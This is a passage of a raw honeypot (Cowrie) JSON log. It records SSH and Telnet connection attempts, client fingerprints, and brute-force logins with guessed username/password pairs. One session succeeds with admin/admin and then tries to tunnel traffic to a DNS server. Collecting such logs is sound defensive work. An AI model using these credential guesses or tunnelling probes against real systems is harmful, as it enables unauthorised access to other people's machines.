{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":23772,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbeb3815c35f","protocol":"ssh","message":"New connection: 181.65.191.218:23772 (10.17.0.5:22) [session: fbeb3815c35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:24:26.900909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:24:26.905126Z","src_ip":"181.65.191.218","session":"fbeb3815c35f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:24:27.021016Z","src_ip":"181.65.191.218","session":"fbeb3815c35f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39624,"dst_ip":"10.17.0.5","dst_port":23,"session":"5298ee4e6d6d","protocol":"telnet","message":"New connection: 103.115.172.252:39624 (10.17.0.5:23) [session: 5298ee4e6d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:24:27.203329Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456a","message":"login attempt [ftpuser/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:24:27.517418Z","src_ip":"181.65.191.218","session":"fbeb3815c35f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:24:28.636204Z","src_ip":"181.65.191.218","session":"fbeb3815c35f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":39726,"dst_ip":"10.17.0.5","dst_port":23,"session":"27bd1aa7198c","protocol":"telnet","message":"New connection: 103.82.231.165:39726 (10.17.0.5:23) [session: 27bd1aa7198c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:24:37.139517Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":56630,"dst_ip":"10.17.0.5","dst_port":23,"session":"33bf1f581b72","protocol":"telnet","message":"New connection: 103.82.231.165:56630 (10.17.0.5:23) [session: 33bf1f581b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:24:39.140738Z"}
{"eventid":"cowrie.session.closed","duration":37.81393074989319,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:05.017171Z","src_ip":"103.115.172.252","session":"5298ee4e6d6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.981622219085693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:09.121018Z","src_ip":"103.82.231.165","session":"27bd1aa7198c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00260853767395,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:09.228916Z","src_ip":"98.51.244.245","session":"8505c9f07e43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00224375724792,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:10.583094Z","src_ip":"98.51.244.245","session":"c3b4d948504b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":35534,"dst_ip":"159.203.135.109","dst_port":23,"session":"b017dd2fb28d","protocol":"telnet","message":"New connection: 98.51.244.245:35534 (159.203.135.109:23) [session: b017dd2fb28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:13.453507Z"}
{"eventid":"cowrie.session.closed","duration":120.00151252746582,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:13.635390Z","src_ip":"98.51.244.245","session":"0680c70a918f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":35479,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0fc66837ed8","protocol":"telnet","message":"New connection: 98.51.244.245:35479 (159.203.135.109:23) [session: a0fc66837ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:13.733631Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":35709,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b67958bc4ef","protocol":"telnet","message":"New connection: 98.51.244.245:35709 (159.203.135.109:23) [session: 7b67958bc4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:15.280996Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":34898,"dst_ip":"10.17.0.5","dst_port":23,"session":"d32ce31b4d65","protocol":"telnet","message":"New connection: 103.82.231.165:34898 (10.17.0.5:23) [session: d32ce31b4d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:16.837236Z"}
{"eventid":"cowrie.session.closed","duration":0.23806333541870117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:17.075159Z","src_ip":"103.82.231.165","session":"d32ce31b4d65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.32937836647034,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:17.469984Z","src_ip":"103.82.231.165","session":"33bf1f581b72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":40112,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaa21dc43faf","protocol":"telnet","message":"New connection: 103.82.231.165:40112 (10.17.0.5:23) [session: aaa21dc43faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:24.551173Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":57050,"dst_ip":"10.17.0.5","dst_port":22,"session":"c571a48b0523","protocol":"ssh","message":"New connection: 181.65.191.218:57050 (10.17.0.5:22) [session: c571a48b0523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:37.747121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:37.755681Z","src_ip":"181.65.191.218","session":"c571a48b0523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:37.868974Z","src_ip":"181.65.191.218","session":"c571a48b0523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuptest","password":"backuptest","message":"login attempt [backuptest/backuptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:38.344255Z","src_ip":"181.65.191.218","session":"c571a48b0523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:39.468039Z","src_ip":"181.65.191.218","session":"c571a48b0523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":38952,"dst_ip":"159.203.135.109","dst_port":23,"session":"88fdcbe731c8","protocol":"telnet","message":"New connection: 185.26.126.47:38952 (159.203.135.109:23) [session: 88fdcbe731c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:45.343439Z"}
{"eventid":"cowrie.session.closed","duration":5.188647031784058,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:50.531652Z","src_ip":"185.26.126.47","session":"88fdcbe731c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":55276,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38017be119a","protocol":"telnet","message":"New connection: 103.115.172.252:55276 (10.17.0.5:23) [session: b38017be119a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:55.643757Z"}
{"eventid":"cowrie.session.closed","duration":31.098853588104248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:25:55.649918Z","src_ip":"103.82.231.165","session":"aaa21dc43faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":41320,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce417ca75e0","protocol":"telnet","message":"New connection: 103.115.172.252:41320 (10.17.0.5:23) [session: 7ce417ca75e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:26:26.979492Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":34076,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f1be742593","protocol":"telnet","message":"New connection: 103.82.231.165:34076 (10.17.0.5:23) [session: d2f1be742593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:26:32.069141Z"}
{"eventid":"cowrie.session.closed","duration":39.84128761291504,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:26:35.484886Z","src_ip":"103.115.172.252","session":"b38017be119a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":40660,"dst_ip":"10.17.0.5","dst_port":22,"session":"05d2ca609c92","protocol":"ssh","message":"New connection: 181.65.191.218:40660 (10.17.0.5:22) [session: 05d2ca609c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:26:45.328294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:26:45.333450Z","src_ip":"181.65.191.218","session":"05d2ca609c92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:26:45.445618Z","src_ip":"181.65.191.218","session":"05d2ca609c92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:26:45.922591Z","src_ip":"181.65.191.218","session":"05d2ca609c92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:26:47.065908Z","src_ip":"181.65.191.218","session":"05d2ca609c92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.5955536365509,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:05.574905Z","src_ip":"103.115.172.252","session":"7ce417ca75e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.264700412750244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:06.333775Z","src_ip":"103.82.231.165","session":"d2f1be742593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00186920166016,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:13.455229Z","src_ip":"98.51.244.245","session":"b017dd2fb28d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00169587135315,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:13.735207Z","src_ip":"98.51.244.245","session":"a0fc66837ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":40045,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad43766a816d","protocol":"telnet","message":"New connection: 98.51.244.245:40045 (159.203.135.109:23) [session: ad43766a816d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:14.879275Z"}
{"eventid":"cowrie.session.closed","duration":120.00104808807373,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:15.281937Z","src_ip":"98.51.244.245","session":"7b67958bc4ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":59416,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa916f6343de","protocol":"telnet","message":"New connection: 103.115.172.252:59416 (10.17.0.5:23) [session: fa916f6343de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:15.287570Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":40122,"dst_ip":"159.203.135.109","dst_port":23,"session":"585a48d9e42c","protocol":"telnet","message":"New connection: 98.51.244.245:40122 (159.203.135.109:23) [session: 585a48d9e42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:18.633310Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5136,"dst_ip":"10.17.0.5","dst_port":22,"session":"91fa35851ca2","protocol":"ssh","message":"New connection: 87.251.64.176:5136 (10.17.0.5:22) [session: 91fa35851ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:29.973947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:29.978623Z","src_ip":"87.251.64.176","session":"91fa35851ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:30.079671Z","src_ip":"87.251.64.176","session":"91fa35851ca2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:30.371628Z","src_ip":"87.251.64.176","session":"91fa35851ca2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:30.472548Z","session":"91fa35851ca2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:30.571485Z","src_ip":"87.251.64.176","session":"91fa35851ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:30.672466Z","src_ip":"87.251.64.176","session":"91fa35851ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":13464,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bd1d65db5d7","protocol":"ssh","message":"New connection: 193.24.211.95:13464 (159.203.135.109:22) [session: 1bd1d65db5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:35.088101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:35.093456Z","src_ip":"193.24.211.95","session":"1bd1d65db5d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 